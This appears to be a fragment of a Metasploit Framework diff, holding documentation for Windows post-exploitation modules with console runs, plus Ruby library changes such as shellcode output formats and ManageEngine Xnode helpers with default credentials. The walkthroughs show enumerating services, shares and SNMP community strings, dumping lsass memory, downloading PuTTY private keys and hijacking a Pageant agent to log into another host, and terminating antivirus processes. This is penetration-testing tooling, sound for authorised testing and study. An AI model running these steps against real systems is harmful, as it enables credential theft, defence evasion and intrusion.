[*] SmbWitness
[*] StartLayout
[*] Storage
[*] StorageBusCache
[*] TLS
[*] TroubleshootingPack
[*] TrustedPlatformModule
[*] UEV
[*] VMDirectStorage
[*] VpnClient
[*] Wdac
[*] Whea
[*] WindowsDeveloperLicense
[*] WindowsErrorReporting
[*] WindowsSearch
[*] WindowsUpdate
[*] Checking if users have PowerShell profiles
[*] Checking User
[*] Post module execution completed
```
@@ -0,0 +1,172 @@
## Vulnerable Application
This module will query the system for services and return the display name and
configuration info for each returned service. You can also optionally
filter the results by using query strings to match on specific
credentials, paths, or start types and only return the results that match.
These query operations are cumulative and if no query strings are specified,
the module will just return all services. NOTE: If the script hangs,
Windows Defender Firewall is most likely on and you did not migrate
to a safe process (explorer.exe for example).
## Verification Steps
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/gather/enum_services`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
### CRED
String to search returned service credentials for.
### PATH
String to search returned service paths for.
### TYPE
Service startup types to display (`All`, `Auto`, `Manual`, `Disabled`) (default: `All`)
## Scenarios
### Windows Server 2008 SP1 (x64)
```
msf6 > use post/windows/gather/enum_services
msf6 post(windows/gather/enum_services) > set session 1
session => 1
msf6 post(windows/gather/enum_services) > run
[*] Listing Service Info for matching services, please wait...
[+] New service credential detected: AeLookupSvc is running as 'localSystem'
[+] New service credential detected: ALG is running as 'NT AUTHORITY\LocalService'
[+] New service credential detected: CryptSvc is running as 'NT Authority\NetworkService'
[*] Found 114 Windows services matching filters
Services
========
Name Credentials Command Startup
---- ----------- ------- -------
ALG NT AUTHORITY\LocalService Manual C:\Windows\System32\alg.exe
AeLookupSvc localSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
AppMgmt LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
Appinfo LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
AudioEndpointBuilder LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
AudioSrv NT AUTHORITY\LocalService Manual C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
BFE NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
BITS LocalSystem Auto C:\Windows\System32\svchost.exe -k netsvcs
Browser LocalSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
COMSysApp LocalSystem Manual C:\Windows\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
CertPropSvc LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
CryptSvc NT Authority\NetworkService Auto C:\Windows\system32\svchost.exe -k NetworkService
CscService LocalSystem Disabled C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
DFSR LocalSystem Auto C:\Windows\system32\DFSRs.exe
DNS LocalSystem Auto C:\Windows\system32\dns.exe
DPS NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork
DcomLaunch LocalSystem Auto %SystemRoot%\system32\svchost.exe -k DcomLaunch
Dfs LocalSystem Auto C:\Windows\system32\dfssvc.exe
Dhcp NT Authority\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
Dnscache NT AUTHORITY\NetworkService Auto C:\Windows\system32\svchost.exe -k NetworkService
EapHost localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
EventLog NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
EventSystem NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalService
FCRegSvc NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
FDResPub NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
IKEEXT LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
IPBusEnum LocalSystem Disabled C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
IsmServ LocalSystem Auto C:\Windows\System32\ismserv.exe
KeyIso LocalSystem Manual C:\Windows\system32\lsass.exe
KtmRm NT AUTHORITY\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
LanmanServer LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
LanmanWorkstation NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalService
MMCSS LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
MSDTC NT AUTHORITY\NetworkService Auto C:\Windows\System32\msdtc.exe
MSiSCSI LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
MpsSvc NT Authority\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
Netlogon LocalSystem Auto C:\Windows\system32\lsass.exe
Netman LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
NlaSvc NT AUTHORITY\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
NtFrs LocalSystem Auto C:\Windows\system32\ntfrs.exe
PerfHost NT AUTHORITY\LocalService Manual C:\Windows\SysWow64\perfhost.exe
PlugPlay LocalSystem Auto C:\Windows\system32\svchost.exe -k DcomLaunch
PolicyAgent NT Authority\NetworkService Auto C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
ProfSvc LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
ProtectedStorage LocalSystem Manual C:\Windows\system32\lsass.exe
RSoPProv LocalSystem Manual C:\Windows\system32\RSoPProv.exe
RasAuto localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
RasMan localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
RemoteAccess localSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
RemoteRegistry NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k regsvc
RpcLocator NT AUTHORITY\NetworkService Manual C:\Windows\system32\locator.exe
RpcSs NT AUTHORITY\NetworkService Auto %SystemRoot%\system32\svchost.exe -k rpcss
SCPolicySvc LocalSystem Manual C:\Windows\system32\svchost.exe -k netsvcs
SCardSvr NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
SENS LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
SLUINotify NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
SNMP LocalSystem Auto C:\Windows\System32\snmp.exe
SNMPTRAP NT AUTHORITY\LocalService Manual C:\Windows\System32\snmptrap.exe
SSDPSRV NT AUTHORITY\LocalService Disabled C:\Windows\system32\svchost.exe -k LocalService
SamSs LocalSystem Auto C:\Windows\system32\lsass.exe
Schedule LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
SessionEnv localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
SharedAccess LocalSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
ShellHWDetection LocalSystem Auto C:\Windows\System32\svchost.exe -k netsvcs
Spooler LocalSystem Auto C:\Windows\System32\spoolsv.exe
SstpSvc NT Authority\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
SysMain LocalSystem Disabled C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
TBS NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalService
THREADORDER NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
TapiSrv NT AUTHORITY\NetworkService Manual C:\Windows\System32\svchost.exe -k tapisrv
TermService NT Authority\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
Themes LocalSystem Disabled C:\Windows\System32\svchost.exe -k netsvcs
TrkWks LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
TrustedInstaller localSystem Manual C:\Windows\servicing\TrustedInstaller.exe
UI0Detect LocalSystem Manual C:\Windows\system32\UI0Detect.exe
UmRdpService localSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
UxSms localSystem Auto C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
VSS LocalSystem Manual C:\Windows\system32\vssvc.exe
W32Time NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalService
WPDBusEnum LocalSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
WcsPlugInService NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k wcssvc
WdiServiceHost NT AUTHORITY\LocalService Manual C:\Windows\System32\svchost.exe -k wdisvc
WdiSystemHost LocalSystem Manual C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
Wecsvc NT AUTHORITY\NetworkService Manual C:\Windows\system32\svchost.exe -k NetworkService
WerSvc localSystem Auto C:\Windows\System32\svchost.exe -k WerSvcGroup
WinHttpAutoProxySvc NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
WinRM NT AUTHORITY\NetworkService Auto C:\Windows\System32\svchost.exe -k NetworkService
Winmgmt localSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
clr_optimization_v2.0.50727_32 LocalSystem Manual C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
clr_optimization_v2.0.50727_64 LocalSystem Manual C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe
dot3svc localSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
fdPHost NT AUTHORITY\LocalService Manual C:\Windows\system32\svchost.exe -k LocalService
gpsvc LocalSystem Auto C:\Windows\system32\svchost.exe -k GPSvcGroup
hidserv LocalSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
hkmsvc localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
iphlpsvc LocalSystem Auto C:\Windows\System32\svchost.exe -k NetSvcs
kdc LocalSystem Auto C:\Windows\System32\lsass.exe
lltdsvc NT AUTHORITY\LocalService Manual C:\Windows\System32\svchost.exe -k LocalService
lmhosts NT AUTHORITY\LocalService Auto C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
msiserver LocalSystem Manual C:\Windows\system32\msiexec /V
napagent NT AUTHORITY\NetworkService Manual C:\Windows\System32\svchost.exe -k NetworkService
netprofm NT AUTHORITY\LocalService Auto C:\Windows\System32\svchost.exe -k LocalService
nsi NT Authority\LocalService Auto C:\Windows\system32\svchost.exe -k LocalService
pla NT AUTHORITY\LocalService Manual %SystemRoot%\System32\svchost.exe -k LocalServiceNoNetwork
sacsvr LocalSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
seclogon LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
slsvc NT AUTHORITY\NetworkService Auto C:\Windows\system32\SLsvc.exe
swprv LocalSystem Manual C:\Windows\System32\svchost.exe -k swprv
upnphost NT AUTHORITY\LocalService Disabled C:\Windows\system32\svchost.exe -k LocalService
vds LocalSystem Manual C:\Windows\System32\vds.exe
wercplsupport localSystem Manual C:\Windows\System32\svchost.exe -k netsvcs
wmiApSrv localSystem Manual C:\Windows\system32\wbem\WmiApSrv.exe
wuauserv LocalSystem Auto C:\Windows\system32\svchost.exe -k netsvcs
wudfsvc LocalSystem Manual C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
[+] Loot file stored in: /root/.msf4/loot/20220820231513_default_192.168.200.218_windows.services_350986.txt
[*] Post module execution completed
```
@@ -0,0 +1,57 @@
## Vulnerable Application
This module will enumerate configured and recently used file shares.
## Verification Steps
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/gather/enum_shares`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
### CURRENT
Enumerate currently configured shares (default: `true`)
### RECENT
Enumerate recently mapped shares (default: `true`)
### ENTERED
Enumerate recently entered UNC Paths in the Run Dialog (default: `true`)
## Scenarios
### Windows Server 2008 (x64)
```
msf6 > use post/windows/gather/enum_shares
msf6 post(windows/gather/enum_shares) > set session 1
session => 1
msf6 post(windows/gather/enum_shares) > run
[*] Running module against WIN-17B09RRRJTG (192.168.200.218)
[*] The following shares were found:
[*] Name: SYSVOL
[*] Path: C:\Windows\SYSVOL\sysvol
[*] Remark: Logon server share
[*] Type: DISK
[*]
[*] Name: NETLOGON
[*] Path: C:\Windows\SYSVOL\sysvol\corp.local\SCRIPTS
[*] Remark: Logon server share
[*] Type: DISK
[*]
[*] Recent mounts found:
[*] \\127.0.0.1\C$
[*]
[*] Recent UNC paths entered in Run dialog found:
[*] \\10.1.1.100\
[*] \\127.0.0.1\C$
[*]
[*] Post module execution completed
```
@@ -0,0 +1,45 @@
## Vulnerable Application
This module will enumerate the SNMP service configuration.
## Verification Steps
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/gather/enum_snmp`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
## Scenarios
### Windows Server 2008 (x64)
```
msf6 > use post/windows/gather/enum_snmp
msf6 post(windows/gather/enum_snmp) > set session 1
session => 1
msf6 post(windows/gather/enum_snmp) > run
[*] Running module against WIN-17B09RRRJTG (192.168.200.218)
[*] Checking if SNMP service is installed
[*] SNMP is installed!
[*] Enumerating community strings
[*]
[*] Community Strings
[*] =================
[*]
[*] Name Type
[*] ---- ----
[*] secret READ & WRITE
[*] test READ ONLY
[*]
[*] Enumerating Permitted Managers for Community Strings
[*] SNMP packets are accepted from any host
[*] Enumerating Trap configuration
[*] Community Name: test
[*] Destination: 127.0.0.1
[*] Destination: snmp.local
[*] Post module execution completed
```
@@ -13,7 +13,7 @@ This module only works on a Meterpreter session on Windows.
1. Get meterpreter session on a Windows host
1. Do: `use post/windows/gather/memory_dump`
1. Do: `set SESSION <session id>`
1. Do: `set PID <process id>`
1. Do: `set PID <process id>` or `set PROCESS_NAME <process name>`
1. Do: `set DUMP_PATH <path on remote system>`
1. Do: `set DUMP_TYPE <standard|full>`
1. Do: `run`
@@ -26,13 +26,19 @@ This module only works on a Meterpreter session on Windows.
The path that the memory dump will be temporarily stored at. This file is then
downloaded and deleted at the end of the run. This file should be in a writable
location, and should not already exist.
location, and should not already exist. If not specified, the dump is written
with a random filename in `%TEMP%`.
### PID
The ID of the process to dump. To find the PID, in your Meterpreter session,
type `ps`. To find a process by name, type `ps | <process name>`.
### PROCESS_NAME
The name of the process(es) to dump. This will dump memory for all processes
with this name.
### DUMP_TYPE
Two options are provided for creating a memory dump:
@@ -55,7 +61,7 @@ significantly smaller than the Full option.
## Scenarios
**Dumping lsass**
### Dumping lsass
Retrieving lsass (after getsystem)
@@ -126,5 +132,3 @@ SID : S-1-5-21-920577323-754201681-977916534-1001
credman :
cloudap :
```
@@ -0,0 +1,120 @@
## Vulnerable Application
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
If a target Windows machine is compromised and is running Pageant, this will allow the
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
tunneled through the meterpreter session. This could therefore be used to authenticate
with a remote host using a private key which is loaded into a remote user's Pageant instance,
without ever having knowledge of the private key itself.
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
loaded into the remote meterpreter session by this module if it is not already loaded.
## Verification Steps
1. Start msfconsole
2. Get a Meterpreter session
3. Do: `use post/windows/manage/forward_pageant`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
### SocketPath
Specify a filename for the local UNIX socket. (default path is random)
## Scenarios
### Pageant 0.77.0.0 on Windows 7 SP1 (x64)
Use `windows/gather/enum_putty_saved_sessions` to detect Pageant and known hosts:
```
msf6 > use post/windows/gather/enum_putty_saved_sessions
msf6 post(windows/gather/enum_putty_saved_sessions) > set session 1
session => 1
msf6 post(windows/gather/enum_putty_saved_sessions) > run
[*] Looking for saved PuTTY sessions
[*] Found 3 sessions
PuTTY Saved Sessions
====================
Name HostName UserName PublicKeyFile PortNumber PortForwardings ProxyUsername ProxyPassword
---- -------- -------- ------------- ---------- --------------- ------------- -------------
192.168.200.158 192.168.200.158 C:\Users\user\Desktop\ubuntu22.ppk 22
example.com example.com C:\Users\user\Desktop\serial1.ppk 22
serial1 C:\Users\user\Desktop\serial1.ppk 0
[+] PuTTY saved sessions list saved to /root/.msf4/loot/20220807223341_default_192.168.200.190_putty.sessions.c_273976.txt in CSV format & available in notes (use 'notes -t putty.savedsession' to view).
[*] Downloading private keys...
[+] PuTTY private key file for '192.168.200.158' (C:\Users\user\Desktop\ubuntu22.ppk) saved to: /root/.msf4/loot/20220807223341_default_192.168.200.190_putty.ppk.file_988729.bin
[+] PuTTY private key file for 'example.com' (C:\Users\user\Desktop\serial1.ppk) saved to: /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.ppk.file_341943.bin
[+] PuTTY private key file for 'serial1' (C:\Users\user\Desktop\serial1.ppk) saved to: /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.ppk.file_265111.bin
PuTTY Private Keys
==================
Name HostName UserName PublicKeyFile Type Cipher Comment
---- -------- -------- ------------- ---- ------ -------
192.168.200.158 192.168.200.158 C:\Users\user\Desktop\ubuntu22.ppk
example.com example.com C:\Users\user\Desktop\serial1.ppk
serial1 C:\Users\user\Desktop\serial1.ppk
[*] Looking for previously stored SSH host key fingerprints
[*] Found 1 stored key fingerprint
[*] Downloading stored key fingerprints...
Stored SSH host key fingerprints
================================
SSH Endpoint Key Type(s)
------------ -----------
192.168.200.158:22 ssh-ed25519
[+] PuTTY stored host keys list saved to /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.storedfing_027625.txt in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).
[*] Looking for Pageant...
[+] Pageant is running (Handle 0x330820)
[*] Post module execution completed
```
Establish a local forward with `post/windows/manage/forward_pageant`:
```
msf6 > use post/windows/manage/forward_pageant
msf6 post(windows/manage/forward_pageant) > set session 1
session => 1
msf6 post(windows/manage/forward_pageant) > run
[*] Launched listening socket on /tmp/bVN4Dg2W
[*] Set SSH_AUTH_SOCK variable to /tmp/bVN4Dg2W (e.g. export SSH_AUTH_SOCK="/tmp/bVN4Dg2W")
[*] Now use any SSH tool normally (e.g. ssh-add)
```
Specify the `SSH_AUTH_SOCK` UNIX socket path when using ssh tools:
```
$ SSH_AUTH_SOCK="/tmp/bVN4Dg2W" ssh-add -l
3072 SHA256:/M07p51CmCSMrV1lbFs19OMvyRw6g9Wxbq8bW5px0KA asdf@ubuntu-22-04-amd64 (RSA)
$ SSH_AUTH_SOCK="/tmp/bVN4Dg2W" ssh asdf@192.168.200.158
Welcome to Ubuntu 22.04 LTS (GNU/Linux 5.15.0-25-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
209 updates can be applied immediately.
29 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
*** System restart required ***
Last login: Sun Aug 7 22:19:04 2022 from 192.168.200.130
asdf@ubuntu-22-04-amd64:~$
```
@@ -0,0 +1,34 @@
## Vulnerable Application
This module attempts to locate and terminate any processes that are identified
as being Antivirus or Host-based IPS related.
## Verification Steps
1. Start msfconsole
2. Get a session
3. Do: `use post/windows/manage/killav`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
## Scenarios
### Windows 7 SP1 (x64)
```
msf6 > use post/windows/manage/killav
msf6 post(windows/manage/killav) > set session 1
session => 1
msf6 post(windows/manage/killav) > run
[*] Attempting to terminate 'antivirus.exe' (PID: 5340) ...
[+] antivirus.exe (PID: 5340) terminated.
[*] Attempting to terminate 'regedit.exe' (PID: 2296) ...
[+] regedit.exe (PID: 2296) terminated.
[+] A total of 2 process(es) were discovered, 2 were terminated.
[*] Post module execution completed
msf6 post(windows/manage/killav) >
```
+1 -1
View File
@@ -231,7 +231,7 @@ _arguments \
"--list-options[List --payload <value>'s standard, advanced and evasion options]" \
"--pad-nops[Use nopsled size specified by -n \<length\> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)]" \
"--platform[The platform for --payload (use --list platforms to list)]:target platform:_msfvenom_platform" \
{-a,--arch}"[The architecture to use for --payload and --encoders (use --list archs to list)]:architecture:_msfvenom_archs" \
{-a,--arch}"[The architecture to use for --payload and --encoders (use --list archs to list)]:architecture:_msfvenom_arch" \
{-b,--bad-chars}"[Characters to avoid example: '\x00\xff']:bad characters" \
{-c,--add-code}"[Specify an additional win32 shellcode file to include]:shellcode file:_files" \
{-e,--encoder}"[The encoder to use (use --list encoders to list)]:encoder:_msfvenom_encoder" \
@@ -52,8 +52,13 @@ module Metasploit
else
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
end
rescue ::Rex::ConnectionError
rescue ::Rex::ConnectionError => e
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
result_options[:proof] = e
rescue => e
elog(e)
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
result_options[:proof] = e
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
@@ -80,7 +80,7 @@ module Metasploit
opt_hash
)
end
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error, Errno::ECONNRESET => e
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error, Errno::ECONNRESET, Errno::EPIPE => e
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
rescue Net::SSH::Exception => e
status = Metasploit::Model::Login::Status::INCORRECT
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.2.10"
VERSION = "6.2.18"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+72
View File
@@ -0,0 +1,72 @@
# -*- coding: binary -*-
module Msf
module Sessions
###
#
# This class provides the ability to receive a custom stage callback
#
###
class Custom
#
# This interface supports basic interaction.
#
include Msf::Session
include Msf::Session::Basic
attr_accessor :arch
attr_accessor :platform
#
# Returns the type of session.
#
def self.type
"custom"
end
def initialize(rstream, opts = {})
super
self.platform ||= ""
self.arch ||= ""
datastore = opts[:datastore]
end
def self.create_session(rstream, opts = {})
Msf::Sessions::Custom.new(rstream, opts)
end
def process_autoruns(datastore)
cleanup
end
def cleanup
print_good("Custom stage sent; session has been closed")
if rstream
# this is also a best-effort
rstream.close rescue nil
rstream = nil
end
end
#
# Returns the session description.
#
def desc
"Custom"
end
def self.can_cleanup_files
false
end
#
# Calls the class method
#
def type
self.class.type
end
end
end
end
+2 -3
View File
@@ -259,11 +259,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client
@shell = nil
end
def shell_command(cmd)
def shell_command(cmd, timeout = 5)
# Send the shell channel's stdin.
shell_write(cmd + "\n")
timeout = 5
etime = ::Time.now.to_f + timeout
buff = ""
@@ -413,7 +412,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
def update_session_info
# sys.config.getuid, and fs.dir.getwd cache their results, so update them
fs.dir.getwd
fs&.dir&.getwd
username = self.sys.config.getuid
sysinfo = self.sys.config.sysinfo
+8
View File
@@ -56,8 +56,12 @@ module Scriptable
#
def legacy_script_to_post_module(script_name)
{
'arp_scanner' => 'post/windows/gather/arp_scanner',
'autoroute' => 'post/multi/manage/autoroute',
'checkvm' => 'post/windows/gather/checkvm',
'credcollect' => 'post/windows/gather/credentials/credential_collector',
'domain_list_gen' => 'post/windows/gather/enum_domain_group_users',
'dumplinks' => 'post/windows/gather/dumplinks',
'duplicate' => 'post/windows/manage/multi_meterpreter_inject',
'enum_chrome' => 'post/windows/gather/enum_chrome',
'enum_firefox' => 'post/windows/gather/enum_firefox',
@@ -69,6 +73,7 @@ module Scriptable
'get_application_list' => 'post/windows/gather/enum_applications',
'get_env' => 'post/multi/gather/env',
'get_filezilla_creds' => 'post/windows/gather/credentials/filezilla_server',
'get_pidgin_creds' => 'post/multi/gather/pidgin_cred',
'get_local_subnets' => 'post/multi/manage/autoroute',
'get_valid_community' => 'post/windows/gather/enum_snmp',
'getcountermeasure' => 'post/windows/manage/killav',
@@ -80,6 +85,7 @@ module Scriptable
'killav' => 'post/windows/manage/killav',
'metsvc' => 'exploit/windows/local/persistence',
'migrate' => 'post/windows/manage/migrate',
'panda_2007_pavsrv51' => 'exploit/windows/local/service_permissions',
'pml_driver_config' => 'exploit/windows/local/service_permissions',
'packetrecorder' => 'post/windows/manage/rpcapd_start',
'persistence' => 'exploit/windows/local/persistence',
@@ -90,6 +96,8 @@ module Scriptable
'screenspy' => 'post/windows/gather/screen_spy',
'search_dwld' => 'post/windows/gather/enum_files',
'service_permissions_escalate' => 'exploits/windows/local/service_permissions',
'sound_recorder' => 'post/multi/manage/record_mic',
'srt_webdrive_priv' => 'exploit/windows/local/service_permissions',
'uploadexec' => 'post/windows/manage/download_exec',
'webcam' => 'post/windows/manage/webcam',
'wmic' => 'post/windows/gather/wmic_command',
@@ -31,20 +31,19 @@ module Msf::Sessions
'SSH command shell'
end
def shell_command(cmd)
def shell_command(cmd, timeout = 5)
# Send the command to the session's stdin.
shell_write(cmd + "\n")
timeo = 0.5
etime = ::Time.now.to_f + timeo
buff = ''
etime = ::Time.now.to_f + timeout
buff = ""
# Keep reading data until no more data is available or the timeout is
# reached.
while ((::Time.now.to_f < etime) && ::IO.select([rstream.fd_rd], nil, nil, timeo))
while ::Time.now.to_f < etime && ::IO.select([rstream.fd_rd], nil, nil, timeout)
res = shell_read(-1, 0.01)
buff << res if res
timeo = etime - ::Time.now.to_f
timeout = etime - ::Time.now.to_f
end
buff
+12
View File
@@ -61,6 +61,10 @@ module Buffer
buf = Rex::Text.encode_base32(buf)
when 'base64'
buf = Rex::Text.encode_base64(buf)
when 'go','golang'
buf = Rex::Text.to_golang(buf)
when 'nim','nimlang'
buf = Rex::Text.to_nim(buf)
else
raise BufferFormatError, "Unsupported buffer format: #{fmt}", caller
end
@@ -93,6 +97,10 @@ module Buffer
buf = Rex::Text.to_c_comment(buf)
when 'powershell','ps1'
buf = Rex::Text.to_psh_comment(buf)
when 'go','golang'
buf = Rex::Text.to_golang_comment(buf)
when 'nim','nimlang'
buf = Rex::Text.to_nim_comment(buf)
else
raise BufferFormatError, "Unsupported buffer format: #{fmt}", caller
end
@@ -112,10 +120,14 @@ module Buffer
'csharp',
'dw',
'dword',
'go',
'golang',
'hex',
'java',
'js_be',
'js_le',
'nim',
'nimlang',
'num',
'perl',
'pl',
+2 -2
View File
@@ -77,7 +77,7 @@ class Msf::Analyze
port = svc.port
next if evaluated_module_targets.include?([fnd_mod, port])
creds = @framework.db.creds(svcs: [svc.name])
creds = @framework.db.creds(svcs: [svc.name], workspace: eval_host.workspace)
r = Result.new(mod: fnd_mod, host: eval_host, datastore: {'rport': port},
available_creds: creds, payloads: payloads, framework: @framework)
if r.match?
@@ -98,7 +98,7 @@ class Msf::Analyze
to_evaluate_with_defaults.each do |fnd_mod, port|
next if evaluated_module_targets.include?([fnd_mod, port])
creds = @framework.db.creds(port: port) if port
creds = @framework.db.creds(port: port, workspace: eval_host.workspace) if port
r = Result.new(mod: fnd_mod, host: eval_host, datastore: {'rport': port},
available_creds: creds, payloads: payloads, framework: @framework)
@@ -0,0 +1,28 @@
# -*- coding: binary -*-
module Msf
###
#
# This module provides a way of interacting with ManageEngine Xnode server
# as used in ADAudit Plus and DataSecurity Plus
#
###
module Auxiliary::ManageEngineXnode
include Msf::Auxiliary::ManageEngineXnode::Action
include Msf::Auxiliary::ManageEngineXnode::BasicChecks
include Msf::Auxiliary::ManageEngineXnode::Config
include Msf::Auxiliary::ManageEngineXnode::Interact
include Msf::Auxiliary::ManageEngineXnode::Process
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('USERNAME', [true, 'Username used to authenticate to the Xnode server', 'atom']),
Msf::OptString.new('PASSWORD', [true, 'Password used to authenticate to the Xnode server', 'chegan']),
], Msf::Auxiliary::ManageEngineXnode
)
end
end
end
@@ -0,0 +1,65 @@
# -*- coding: binary -*-
module Msf::Auxiliary::ManageEngineXnode::Action
# Returns an Xnode authentication request hash
#
# @param user [String] Username
# @param pass [String] Password
# @return [Hash] Xnode authentication request
def action_authenticate(user,pass)
{
"username" => user,
"password" => pass,
"action" => "session:/authenticate"
}
end
# Returns an Xnode health status request hash
#
# @return [Hash] Xnode health status request
def action_admin_health
{
"action" => "admin:/health",
"de_health" => true,
"request_id" => 1,
}
end
# Returns an Xnode info request hash
#
# @return [Hash] Xnode info request
def action_xnode_info
{
"action" => "admin:/xnode_info",
"request_id" => 1,
}
end
# Returns an Xnode DataRepository Search request hash
#
# @param repo_name [String] Name of the DataRepository to query
# @param fields [Array] data repository fields (columns) to dump
# @param custom_query [Hash] A hash containing a custom query to merge with the query hash
# @return [Hash] Xnode data repository search request
def action_dr_search(repo_name, fields=nil, custom_query=nil)
time_gen_from = rand(0..10000000) # generate random Unix timestamp somewhere in 1970 (aka Epoch), used below as the "from" date, to ensure we get all data we want
time_gen_to = Time.now.to_i + 100000 # take the current time and add 100,000 seconds (a little over a day) to rule out any issues arising from time zone differences
query = {
"action" => 'dr:/dr_search',
"dr_name_list" => [repo_name],
"query" => "TIME_GENERATED:[#{time_gen_from} TO #{time_gen_to}]", # this uses Unix Timestamp format
"request_id" => 1,
}
# pass the fields (columns) to dump if possible
if fields
query['select_fields'] = fields
end
if custom_query
query = query.merge(custom_query)
end
query
end
end
@@ -0,0 +1,73 @@
# -*- coding: binary -*-
module Msf::Auxiliary::ManageEngineXnode::BasicChecks
include Msf::Auxiliary::ManageEngineXnode::Action
include Msf::Auxiliary::ManageEngineXnode::Interact
# Performs a sanity check and an authentication attempt against Xnode to verify if the target is Xnode and if we can authenticate
#
# @param sock [Socket] Socket to use for the request
# @param username [String] Username
# @param password [String] Password
# @return [Array] Array containing a response code (Integer) and a status message (String)
def xnode_check(sock, username, password)
res_code, res_msg = xnode_sanity_check(sock)
if res_code != 0
return [res_code, res_msg]
end
